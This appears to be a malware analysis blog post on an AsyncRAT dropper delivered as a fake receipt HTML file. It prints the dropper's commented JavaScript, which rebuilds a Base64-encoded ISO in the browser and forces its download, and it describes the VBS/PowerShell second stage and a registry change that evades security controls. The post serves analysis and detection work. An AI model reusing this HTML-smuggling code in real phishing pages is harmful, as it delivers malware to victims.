Today, I’m going to be looking at a dropper/loader associated with AsyncRAT.

Rat Facts

From Malpedia: “AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection. It is an open source remote administration tool, however, it could also be used maliciously because it provides functionality such as keylogger, remote desktop control, and many other functions that may cause harm to the victim’s computer. In addition, AsyncRAT can be delivered via various methods such as spear-phishing, malvertising, exploit kit and other techniques.”

Additional Reading/Resources

• AsyncRAT-C-Sharp
• Cyware
• Talos

Code Review

If we open a sample of an AsyncRAT loader, we’re greeted with some harmless text and generic boilerplate code for a plain HTML page:

It’s Always Base64

However, once this text block is finished we can see our first <script> block. The first thing in this block, is a function call of alCcl(lxkHo, nbolo followed by declaration of a variable ttehbfr (arbitrary and random variable name) that holds an extremely large Base64-encoded string.

There are numerous ways of decoding Base64 but these days, I just toss it into CyberChef since I’ll be able to easily transform the data should it include multiple encodings, or additional compression. Upon doing this we can see that, while this string is heavily padded (with ‘A’s), eventually we see CD001 (43 44 30 30 31), which is the file header for an ISO9660 CD/DVD Image file (aka a .iso).

At the end of the alCcl() function is a return ttehbfr. This means that all this function does, regardless of input, is return that B64 string.

Common Phishing Tactics

One extremely common tactic we are seeing these days is a phishing campaign that pretends to be receipts, invoices, or a DHL shipping confirmation (if you’re in the U.S. an e-mail from DHL itself should be sus… I’ve personally never seen a DHL truck here). This “receipt” e-mail will include an HTML file that will include an encoded ISO that gets rebuilt client-side using JavaScript. In this sample’s case, we’re looking at Reciept#1147852. Before we go into what this ISO contains, let’s keep looking at the code.

Forcing a Local File Download

This is the final code block in the AsyncRAT dropper, and the portion that builds the ISO client-side and forces the download. I have commented the code to explain what everything does. First, I’ll start with the function that creates the actual ISO client-side, and then review the function calls that use it.

// takes in argument which is B64 encoded file payload
function dfikf(sivds) {
    // defines HTTP Content-Type so Browser will download the file instead of rendering (e.g. an Image)
    hwfsf = 'application/octet-stream';
    // 1024 decimal constant
    var fcfbg = 1024;
    // atob is JavaScript's way of decoding B64
    var vqfbg = atob(sivds);
    // Length of Decoded payload
    var fjdddgjgg = vqfbg.length;
    // Divides length of payload with the 1024 const and takes ceiling aka rounds up
    // Ex ceil(7.01) returns '8'
    var dfisefvo = Math.ceil(fjdddgjgg / fcfbg);
    // creates an Array with length = ceiling return value
    var bdf = new Array(dfisefvo);

    for (var wdjg = 0; wdjg < dfisefvo; ++wdjg) {
        // erwfh = wdjg * 1024
        var erwfh = wdjg * fcfbg;
        // Min((wdjg * 1024) + 1024, PayloadLength)
        var gffrf = Math.min(erwfh + fcfbg, fjdddgjgg);
        // Array with length of Above min - (wdjg * 1024)
        var qrrhf = new Array(gffrf - erwfh);
        for (var twbfr = erwfh, i = 0; twbfr < gffrf; ++i, ++twbfr) {
            // rebuilds decoded payload as UTF-16 (Unicode devimal val) char by char
            qrrhf[i] = vqfbg[twbfr].charCodeAt(0);
        }
        // construct array of raw data from Unicode array
        bdf[wdjg] = new Uint8Array(qrrhf);
    }
    // Blob of octet-stream from raw binary data created above
    return new Blob(bdf, { type: hwfsf });
}

// Calls the above function, and passed in the B64 encoded ISO
bexyt = dfikf(ttehbfr);
// Creates a string of the URL pointing to our ISO (which was created in the browser's memory)
var djtbee = URL.createObjectURL(bexyt);
// creates an <a> tag to hyperlink our ISO URL
var sfefs = document.createElement('a');
// <a href="URL TO BAD ISO">
sfefs.href = djtbee;
// 3 variables to obfuscate file extension of .iso
var kkdjd = '.';
var dgesf = 'is';
var dthhh = 'o';
// string concatenation for .iso
var sdrnr = kkdjd+dgesf+dthhh;
// force download of "JHW6466N78.iso"
sfefs.download = 'JHW6466N78'+sdrnr;
sfefs.click();

Look’s like RAT’s on the Menu

So now that we understand the how, let’s examine it in practice. From our CyberChef output, we can save the decoded Base64 directly to our machine.

With the ISO downloaded, we can see that double clicking it in an updated Windows 10 machine will automatically mount it as a DVD-ROM.

If we enter the image, we then see a VBS file (often, adversaries will take additional steps here to obfuscate the file such as using double extensions, or misleading thumbnails). In this case, we don’t have any of that - just a very obvious script.

Examining the VBS

I won’t go too in depth here, but let’s go ahead and see what we can extract from this payload. We can actually go back to CyberChef and use the super useful extraction recipes to pull out things like IPs, e-mails, domains, etc…

Since I got a hit, I’m curious to know where in our script that comes from…

So this would have been the second-stage and unfortunately, the infrastructure hosting this file is dead so we can’t go any further. By the file name we can only assume it’s going to engage in some nefarious stuff. But let’s be honest, when is an IEX for some arbitrary txt file from some random hosting service ever not going to be sus.

Dynamic Analysis

We’ve now (mostly) reached our limit with static analysis, so let’s go ahead and execute the VBS in our sandbox to see what kind of telemetry we can gather. Our setup for this is going to consist of three tools:

• WireShark
  • For capturing network traffic, since we know this attempts to call a second stage via PowerShell
• ProcMon
  • We want to collect data on Registry modifications, File modifications, Process Creation events, and other System related data
• ProcDot
  • This is how we’ll visualize the logs collected from WireShark and Process Monitor (ProcMon)

We start off by starting captures in both WireShark and ProcMon, then double click the script. Immediately, we’re met with a series of pop-ups like this one:

It’s all a ruse though, because we know that behind the scenes this script actually ran some additional PowerShell. Let’s ingest our ProcMon and PCAP into ProcDOT and see what visualization we can generate. Note: ProcDOT does take some configuring, but really just read the readme.txt and you’ll be fine, it’s pretty trivial. Once we’ve ingested the logs, and rendered the configuration for ProcMon, we’ll need to select our process of interest and since we know Wscript.exe is the process responsible for launching .VBS files, let’s start there. :

Once we select our process, we can hit Refresh and we’ll get some incredible graphs of what actually happened under the hood:

Here, we can see wscript.exe starting a thread for powershell.exe as we expected from analyzing the VBS code. That thread results in a lot of activity on the machine:

We can also see registry key activity for the settings located in Control Panel > Network and Internet > Internet Options > Security > Local intranet > Sites which is an extremely old method of allowing malware to bypass AV/Proxy IP blocking, and create trusted network zones for evading security controls.

High-Level Flow

1. Phish user and trick into downloading ISO
2. User clicks downloaded file from browser’s download bar
3. ISO gets mounted
4. User clicks on their “Receipt”/Invoice/etc.
5. Wscript executes VB payload
6. PowerShell used to download second-stage
7. RAT establishes persistence

Concluding Remarks

This attack flow is nothing complicated, and nothing advanced. It simply lives off the land, and leverages the fact that JavaScript is mostly processed client-side. This means that the file download event won’t be cited in any Forward Proxy, or Firewall logging. We can always detect the simple stuff, like Wscript spawning PowerShell - or PowerShell downloading and executing a file from the internet via DownloadString / IEX / IWR